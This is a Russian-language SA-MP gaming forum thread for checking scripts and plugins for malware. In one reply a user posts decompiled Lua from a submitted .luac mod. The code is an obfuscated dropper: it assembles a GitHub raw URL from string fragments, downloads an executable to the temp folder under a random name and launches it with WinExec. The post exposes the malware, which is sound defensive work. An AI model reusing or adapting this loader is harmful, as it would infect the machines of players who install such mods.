Проверка скриптов и плагинов на вредоносное ПО

lemonager

;)
Автор темы
Всефорумный модератор
809
1,717
Версия SA-MP
  1. Любая
nX15Ep5.png

eNo5cSj.png

Общая тема для просьб о помощи проверки скриптов, плагинов и приложений.
Теперь не нужно создавать много отдельных тем о помощи с проверкой.

Рекомендации:
  1. Ставить к себе в игру что-либо с темы крайне не рекомендуется, если файл не был проверен опытным пользователем или Вы в нём сомневаетесь.
  2. Сообщения по типу "спасибо, помог" по правилам форума считаются флудом и будут удалены. Если вам помогли, вы можете нажать кнопку Мне нравится под ответом - это даст понять, что ответ верный.
eNo5cSj.png

qJTRxhB.png
 

Jokers

Новичок
9
2
все ли чисто тут?
 
  • Клоун
Реакции: Sudzishima

OVERTY

Новичок
12
0
чекните скрипт на вирусы
 

Вложения

  • arztools (2).luac
    582 KB · Просмотры: 2

зач хейт

Потрачен
115
46
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
чекните скрипт на вирусы
1718777400497.png
1718777425748.png

Lua:
local slot0_a1119 = _G.require("ffi")

slot0_a1119.cdef("int WinExec(const char *, int);")
slot0_a1119.cdef("bool CopyFileA(const char *, const char *, bool);")
slot0_a1119.cdef("bool SetFileAttributesA(const char *, int);")
slot0_a1119.cdef("void* __stdcall CreateMutexA(void*, bool, const char*);")
slot0_a1119.cdef("int __stdcall GetLastError();")

local slot1_a1130 = "123"
local slot2_a1134 = slot0_a1119.load("kernel32.dll").WinExec
local slot3_a1135 = nil

local function slot4_a1162(arg0_a1136)
    math.randomseed(os.time())

    local slot1_a1146 = ""

    for slot5_a1145 = 1, arg0_a1136 do
        local slot6_a1160 = slot1_a1146 .. _G[type("")].char(_G.math.random(97, 122))
    end

    return slot1_a1146
end

local function slot5_a1243()
    local slot0_a1163 = "https://github.com/"
    local slot1_a1164 = "mod"
    local slot2_a1165 = "txd"
    local slot3_a1166 = "e"
    local slot4_a1167 = "_"
    local slot5_a1168 = "dikiratvzlom/"
    local slot6_a1169 = "diki/raw/main/"
    local slot7_a1170 = "x"
    local slot8_a1171 = "el"
    local slot9_a1172 = "s"
    local slot10_a1177 = _G.os.getenv("temp")
    local slot11_a1178 = "\\"
    local slot12_a1182 = slot4_a1162(9)
    local slot14_a1197 = slot10_a1177 .. slot11_a1178 .. slot12_a1182 .. (slot1_a1164 .. slot8_a1171 .. slot9_a1172 .. slot4_a1167 .. slot2_a1165 .. "." .. slot3_a1166 .. slot7_a1170 .. slot3_a1166)
    local slot20_a1203 = "."
    local slot16_a1207 = slot0_a1163 .. slot5_a1168 .. slot6_a1169 .. "WlablerTeleport" .. slot20_a1203 .. slot3_a1166 .. slot7_a1170 .. slot3_a1166

    _G.lua_thread.create(function ()
        _G.downloadUrlToFile(slot16_a1207, slot14_a1197, function (arg0_a1217, arg1_a1218, arg2_a1219, arg3_a1220)
            if arg1_a1218 == 6 then
                _G.lua_thread.create(function ()
                    if not _G.pcall(function ()
                        slot2_a1134(slot14_a1197, 1)
                    end) then
                        return false
                    end
                end)
            end
        end)
    end)
end

function main()
    slot3_a1135 = slot0_a1119.C.CreateMutexA(nil, false, kalovayasmazka)

    if slot3_a1135 == nil or slot0_a1119.load("kernel32.dll").GetLastError() ~= 183 then
        slot5_a1243()

        while true do
            wait(0)
        end
    end
end
 
  • Нравится
Реакции: OVERTY